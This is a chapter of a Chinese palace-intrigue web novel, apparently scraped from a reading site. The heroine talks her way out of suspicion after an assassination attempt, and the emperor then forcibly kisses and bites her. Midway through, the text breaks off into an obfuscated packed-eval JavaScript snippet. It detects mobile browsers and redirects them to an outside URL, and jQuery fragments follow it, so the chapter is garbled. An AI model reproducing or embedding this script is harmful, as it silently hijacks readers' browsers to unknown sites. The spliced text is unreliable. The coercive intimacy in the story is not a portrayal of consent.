20. 第 20 章

作品:《限制文反派他不按剧本走

    “不是!”


    宋迎骇然,几乎是破喉而出否认道,“我没有!”


    要是承认就死定了!


    “不是?”


    永昭帝嘲弄反问。


    他蓦然出手,掐住她双腮。


    嫣红唇瓣在他指下受力变形,显得愈发饱满水润。


    稍稍用力,便能窥见内里湿软的口腔,以及舌下溢出的晶亮津液。


    被迫张开的唇无法吞咽,津液越积越多。


    永昭帝盯着那处水光,喉结上下滚了滚。


    呼吸变得杂乱无章,变得粗重不稳。


    “那你为何……”他逼近她,“要对朕……投怀送抱?”


    话音未落,他眼中闪过一丝自我的厌憎。


    仿佛被自己失控的欲望吓到,猛地将宋迎甩了出去——


    宋迎跌跪在地,重重咽了好几口唾沫。


    “说。”


    宋迎未还未喘匀气息,双臂便被再次攥住,被强行拎了起来。


    她被迫仰头,撞进那双漆黑眼眸。


    煞白眼底布满血丝,衬得那张面孔戾气横生。


    可宋迎却感受了。


    箍着她手臂的力道,却在一点点松懈。


    指节收紧,手掌却是抑制不住地微微发颤。


    她满脸惊惧地望着永昭帝,组织着言语,“因、因为我……”


    话音未落,便见永昭帝眼神骤然涣散了一瞬。


    攥着她的力道蓦地一松。


    紧接着,高大身躯直挺挺朝她压来!


    宋迎下意识想躲,却已经来不及了。


    “唔……!”


    沉沉重量撞得她胸口一闷,差点背过气去。


    永昭帝的头歪倒在她颈窝,呼吸一下下扑在她耳廓,激起一片痒意。


    他……晕过去了?


    宋迎转动眼珠,看向一侧。


    永昭帝双目紧闭,敛去了暴戾疯狂,此刻,这张脸竟显出……些许脆弱。


    别不是装的吧?


    宋迎试探着挪了挪肩膀,想把他推开。


    然而,她才刚动,这人竟在无知无觉中,又将脸往她颈窝深处埋了埋。


    甚至,喉间发出了声模糊喟叹。


    宋迎:…………


    日哦。


    宋迎默默收回了手。


    她仰面躺平,放弃了挣扎。


    身旁尸山血海,身上……躺着个男人。


    宋迎彻底无奈了,但至少永昭帝暂时失去了攻击性。


    她那快烧了的CPU也总算有机会重启,开始思考点正事。


    事实证明,面对生死危机,她宋迎显然不是那种肾上腺素飙升、反杀全场的天选之女。


    她属于,“CPU过载,直接全身心罢工”的那一类。


    现在冷静下来,复个盘。


    ……宋迎只想穿越回去给自己两巴掌。


    第一,必须和男女主划清界限!


    经此一事,更是佐证了“任何与主角团的牵扯,都是在自寻死路”——这一经验之谈。


    就因为一封家书勾起的归心似箭,她差点把命都搭进去了。


    果然,贪心是原罪。


    第二,逃跑计划必须无限期搁置。


    她目前唯一的生路,就是重新苟起来,好好当个宠物,再度获取狗皇帝的信任。


    审时度势才是明智之举。


    总结——


    远离主线,保平安。


    刻烟吸肺啊!


    ……然后,宋迎在地板上又躺了会儿,


    直到永昭帝的重量,压得她实在受不了了。


    这才咬着牙,一点点将他从自己身上挪开。


    她跌撞着爬起来,跑到殿外,正对上一排侍卫跟木桩子似的杵在那,顿时气不打一处来。


    她凤眸一横:“里面都打成那样,你们就干站着?”


    为首的侍卫长面露难色,躬身道:“宋姑娘,陛下有令,无他传召,任何人不得擅入万春殿,违令者……死。”


    所以,无论万春殿内发生了什么,他们也只敢在外面等着。


    宋迎:…………


    行吧,都是臭打工的,谁也别为难谁了。


    宋迎思忖片刻,便换上了副凝重神色,


    “如今情况有变!燕党刺客已被陛下尽数诛杀,但陛下也力竭重伤,昏迷不醒!”


    “我命令你们,立刻分出一队人去请太医!越快越好!”她顿了顿,目光扫过所有侍卫,“其余人,随我进殿,护卫圣驾,清点现场!”


    “出了任何事,我宋迎,一人承担!”


    宋迎这一套组合拳打下来,逻辑清晰,气势逼人。


    侍卫们哪敢还有半分疑虑,“是!”


    突然,宋迎又想起一事,“润德公公呢?”


    侍卫长一愣,答道:“回姑娘的话,润德公公安好,只是受了惊吓,现已歇息了。”


    这一问,彻底打消了侍卫长心中最后一丝疑虑。


    他抱拳,心悦诚服地低头:“一切,全凭宋姑娘差遣。”


    *


    不知过了多久,永昭帝的意识才被剧痛唤醒。


    是从筋骨深处传来的、密密麻麻的钝痛,每一息都牵扯出撕裂五脏六腑的疼痛。


    然后,他闻到了一股味道。


    浓郁药香里,夹杂着一丝干净柔软的气息。


    掀开眼皮,视线挣扎聚焦。


    永昭帝看见了,跪坐在床榻前的人影。


    是宋迎。


    她跪得端正,双手交叠放在膝上。


    他想起来了。


    万春殿的屠戮、燕贼的突袭、猩红的血、以及最后的……那个吻。


    那湿润柔软的触感……


    永昭帝呼吸猛地一窒,胸口翻涌起莫名的燥意。


    他蹙紧眉头,撑着身子想坐起来,却发现,自己竟虚弱至此……连抬起手臂都无比费力。


    她没有逃,


    也没有……杀他?


    “为什么,”他听见自己沙哑地问,“不杀了朕?”


    宋迎身子一顿,随即抬起头。


    那张小脸仍没什么血色,眼神怯怯的,像只受惊的鹿。


    “陛下,您醒了。”


    她努力扯出一个乖巧讨好的笑,膝行了两步,然后重重地磕了几个头。


    “陛下,”她额头抵着地面,“奴婢不是燕党,奴婢什么都不知道。”


    “奴婢……只是想回家而已。”


    那声音又轻又闷,像是含在嘴里,仿佛随时都会散掉。


    她知道,事到如今,全盘否认是死,全盘脱出还是死。


    “陛下……”


    她抬起头,眼眶微红,“奴婢贴身伺候着,您龙体偶有不适,奴婢怎会毫无察觉?想必……润德公公,对您的状况也并非一无所知吧?”


    她小心翼翼地,抛出一个试探。


    永昭帝攥着被褥的手指,骤然收紧。


    宋迎知道自己赌对了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865866|175247||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    她垂下眼,继续说道:


    “奴婢自知不是什么倾国倾城的美人,能让陛下破例留在身边。您又特意封奴婢为‘侍药宫女’……这其中的深意,奴婢就算再愚钝,却也……猜到了一二。”


    她话说得极为巧妙,把其中关窍落到了永昭帝自己颁布的诏令上。


    “奴婢承认有罪!”


    宋迎话锋一转,再次叩首,“奴婢受奸人蛊惑,这是事实!但奴婢对天发誓,奴婢所求,只是回家!从未想过要与燕贼为伍,更不敢有谋害陛下之心!”


    “昨夜……奴婢见您痛苦难当,情急之下……才做了那等冒昧之事。”


    说到那个吻,宋迎的声音细若蚊蚋,羞赧又无措。


    “奴婢只想着,若能让您……好过一点,奴、奴婢……”


    永昭帝被她的话勾起回忆,胸口气血翻涌,猛地牵动了伤势。


    闷哼一声,脸色又白了几分。


    “陛下!”


    宋迎惊呼一声,随即起身伸手,帮他拍抚后背顺气。


    永昭帝的呼吸渐渐平复,他看着近在咫尺的这张脸,一时竟分不清是真是假。


    触及永昭帝探究目光,宋迎又慌忙退了回去,重新跪好。


    “陛下,”她垂着头,开始汇报,“润德公公昨夜受了惊吓,奴婢已自作主张,请太医过去诊治。太医回话,说公公年事已高,需静养十天半月,怕是……不能在您跟前当值了。”


    她顿了顿,觑了眼永昭帝的神色,复又道:


    “还有……昨夜殿内之事。奴婢斗胆,已对外宣称,是燕党逆贼行刺,陛下神武,当场诛杀逆贼。”


    “只是……宫中侍卫亦有数十人殉职……”


    她将一切都粉饰得天衣无缝。


    “奴婢知道,自作主张乃是大罪。”宋迎重新俯下身,“但当时情况紧急,奴婢别无他法。奴婢有罪,请陛下责罚!”


    责罚?


    永昭帝看着她,忽然笑了一下。


    她做的每件事,都是在为他遮掩,为他善后。


    此女巧舌如簧,说的话,怕是九分都是假的。


    可她没有趁机杀了他,没有弃他而去。


    这一点,却是真的。


    他分辨不出她的心思,索性也不再去分辨。


    真或假,又有什么要紧?


    “过来。”


    永昭帝命令道。


    宋迎咬了咬唇,不知道永昭帝是何用意。


    她磨蹭着,还是硬着头皮过去了。


    永昭帝忽然倾身向前。


    他的鼻尖,离她的唇瓣,不过毫厘。


    宋迎心跳漏了一拍,身体瞬间绷紧,下意识往后缩了缩。


    “跑什么?”永昭帝一把扣住宋迎后颈,“你方才不是还说,要帮朕排解的吗?”


    宋迎愣神,下一瞬,唇上便传来一阵刺痛。


    他不是在吻她,


    而是在咬她。


    “唔!”


    宋迎吃痛张嘴。


    舌尖抵入纠缠,一下下夺走她口中津液。


    此女……当真巧舌如簧。


    宋迎被他按住后颈,退无可退,只能承受。


    直到她口中唾沫被尽数吞尽,永昭帝才松开了她。


    宋迎大口大口喘息着,双颊绯红,眼神迷离。


    永昭帝看着她这副模样,心中烦躁竟平复了许多。


    指腹抚过她被咬破的唇角,吩咐道:“明日,去替朕办件事。”